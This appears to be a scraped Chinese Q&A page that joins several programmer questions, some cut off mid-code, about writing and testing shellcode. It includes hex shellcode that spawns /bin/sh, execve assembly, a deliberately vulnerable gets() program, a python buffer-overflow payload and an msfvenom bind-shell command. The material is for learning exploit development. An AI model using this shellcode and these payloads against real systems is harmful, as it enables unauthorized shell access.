在gcc中这很好用.代码类似于:
unsigned char b[50] = "\xda\xd1 ... \x0"; //some shellcode with terminating \x0
( (void(*)())b )(); //cast b to function pointer from void to void, then run it
Run Code Online (Sandbox Code Playgroud)
但是当它放在Visual C++中时,它会吐出这个错误消息:
1>..\test.cpp(132): error C2440: 'type cast' : cannot convert from 'unsigned char [50]' to 'void (__cdecl *)(void)'
1> There is no context in which this conversion is possible
Run Code Online (Sandbox Code Playgroud)
谁知道为什么会这样?
我正在尝试编写一些最终将采用英文段落形式的shellcode.这意味着我主要限于具有评估字母数字字符或标点符号的操作码的指令.这实际上给我留下了许多不同的跳转指令包括:jo,jno,jb,jae,je,jne,jbe,ja,js,jns,和jp(对应于字母p-z).这些跳转中的每一个在决定跳跃之前都会执行测试.在大多数情况下,我可以组合一个跳跃加上它的反转以确保在shellcode中发生跳转(例如使用jothen jno,或者je然后jne),但是我不能这样做jb.测试jb是CF=1.
我的问题是,是否有任何一系列的字母数字指令在功能上是一个NOP,但也确保了CF=1? CF是进位标志,因此任何保证设置进位标志的操作都足够了.
另外要保证一个jae,反正是要保证的CF=0吗?
我一直在试验FreeBSD系统上的缓冲区溢出.作为第一个实验,我试图让被利用的程序启动另一个进程(在这种情况下为/ bin/hostname).一切正常,程序打印主机名然后终止.之后我尝试让程序产生一个shell(即执行/ bin/sh).我假设这可以通过简单地交换表示要调用的程序的字符串来完成.当我尝试这个时,被利用的程序就会退出,根据gdb它确实成功生成了一个新进程(/ bin/sh).但是,没有生成shell.然后我尝试了我的第一个漏洞并将/ bin/sh文件移动到/ bin/hostname,仍然没有改变任何东西.我现在的问题是,从任何其他命令执行/ bin/sh似乎有什么不同?
作为参考,对于shell生成尝试,我使用了以下shellcode:
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x53\xb0\x3b\x50\xcd\x80";
Run Code Online (Sandbox Code Playgroud) 我正在读一本名为“黑客:剥削的艺术”的书,我看到了这样一段话:
使用execl(),使用现有环境,但如果使用execle(),则可以指定整个环境。如果环境数组只是 shellcode 作为第一个字符串(用 NULL 指针终止列表),则唯一的环境变量将是 shellcode。这使得它的地址很容易计算。在 Linux 中,该地址将为 0xbffffffa,减去环境中 shellcode 的长度,再减去执行程序名称的长度。由于该地址是准确的,因此不需要 NOP 雪橇。
指定环境是什么意思?
不同环境如何分类?
为什么环境变量的地址是这样计算的(或者更具体地说为什么基地址是0xbffffffa)?
如果我使用 execl() 函数而不是 execle() ,我是否可以不使用 shellcode 环境变量?
下面,我写了一个打印'Hello,World!'的x64程序集.来自Mac OS X 10.8上的系统调用.它独立执行时汇编并运行完美.
; Assemble and link with:
; nasm -f macho64 -o HelloWorld.o HelloWorld.s
; ld -arch x86_64 -o HelloWorld HelloWorld.o
global start
section .text
start:
push rbp
mov rbp, rsp
jmp short String
xor rdi, rdi
mov di, 0x01
StringRet:
pop rsi
xor rdx, rdx
mov dl, 0xE
mov r8b, 0x02
shl r8, 24
or r8, 0x04
mov rax, r8
syscall ; System call for write(4)
xor edi, edi
mov r8b, 0x02
shl r8, 24
or r8, …Run Code Online (Sandbox Code Playgroud) 我正在尝试编写一个运行execve的shellcode.等效的c程序如下所示:
int main ()
{
char *argv[3] = {"/bin/sh","-i", "/dev/tty", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
c程序运行正常.然后我尝试编写我的测试程序(修改为推送null):
#include<stdio.h>
int main(){
__asm__(
"xor %rdx,%rdx\n\t" //rdx is the third argument for execve, null in this case.
"push %rdx\n\t"
"mov -8(%rbp),%rdx\n\t"
"mov $0x692d,%rdi\n\t" //$0x6924 is 'i-'
"push %rdi\n\t" //push '-i' to the stack
"lea -16(%rbp),%rax\n\t" //now rax points to '-i'
"mov $0x31b7f54a83,%rdi\n\t" //the address of /bin/sh
"push %rdi\n\t" //push it to the stack
"push %rdx\n\t" //end the array with null
"mov $0x31b7e43bb3,%rdi\n\t" …Run Code Online (Sandbox Code Playgroud) 我是StackOverflow的新手.最近,我开始研究汇编,对于汇编来说还是一个新手,对shellcode来说是全新的.我正在使用RadAsm使用MASM汇编程序进行编译,我尝试从这个网站shellcoding for Linux和Windows学习shellcode
我在Windows 64位上使用RadAsm.我使用的代码几乎相同,只是我使用函数的绝对名称而不是DLL中函数的地址.shellcode应该使用带参数的sleep函数5000.
这是我在MASM中使用的代码.
.386
.model flat, stdcall
option casemap:none
include kernel32.inc
includelib kernel32.lib
.code
_start:
xor eax, eax ; zero out eax
mov ebx, Sleep ; function sleep goes in ebx
mov ax, 5000 ; parameter goes in ax
push eax ; parameter on stack
call ebx ; call Sleep
end _start
end
Run Code Online (Sandbox Code Playgroud)
这在MASM中没有错误地组装.
生成的shellcode具有空值,与网站略有不同.它如下.
我objdump -d nameofexecutable.exe以前得到了反汇编.
Disassembly of section .text
00401000 <.text>:
401000: 33 c0 xor %eax,%eax
401002: bb …Run Code Online (Sandbox Code Playgroud) 抱歉,我是 C 编程和 shellcode 的新手。
好吧,我写了一个生成 shell 的 ASM 文件。
但是,.text 部分变为“只读”,因此我将所有内容都保留在 .data 部分中。当我用 NASM 和 ld 编译它时,它工作得很好。然后,当我使用 shellcode 并在 C 程序中运行它时,我会出现错误。
ASM:
SECTION .data
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 70d
int 80h
jmp jump
rev:
pop ebx
xor eax, eax
mov BYTE [ebx+7], al
mov DWORD [ebx+8], ebx
mov DWORD [ebx+12], eax
mov al, 11d
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 80h
jump:
call rev
shell: db "/bin/sh011112222"
Run Code Online (Sandbox Code Playgroud)
当我编译它时:
nasm -f …Run Code Online (Sandbox Code Playgroud) 试图了解更多有关利用开发和构建 shellcode 的信息,但遇到了一个我不明白背后原因的问题。
为什么我无法运行 execve("/bin/sh") 等 shellcode 并生成可以与之交互的 shell?另一方面,我可以创建一个反向/bind_tcp shell 并使用 netcat 连接到它。
示例程序:
// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack
#include <stdio.h>
#include <string.h>
void test() {
char pass[50];
printf("Password: ");
gets(pass);
if (strcmp(pass, "epicpassw0rd") == 0) {
printf("Woho, you got it!\n");
}
}
int main() {
test();
__asm__("movl $0xe4ffd4ff, %edx"); // jmp esp, call esp - POC
return(0);
}
Run Code Online (Sandbox Code Playgroud)
漏洞利用示例:
python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
Run Code Online (Sandbox Code Playgroud)
示例有效负载(工作):
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" …Run Code Online (Sandbox Code Playgroud)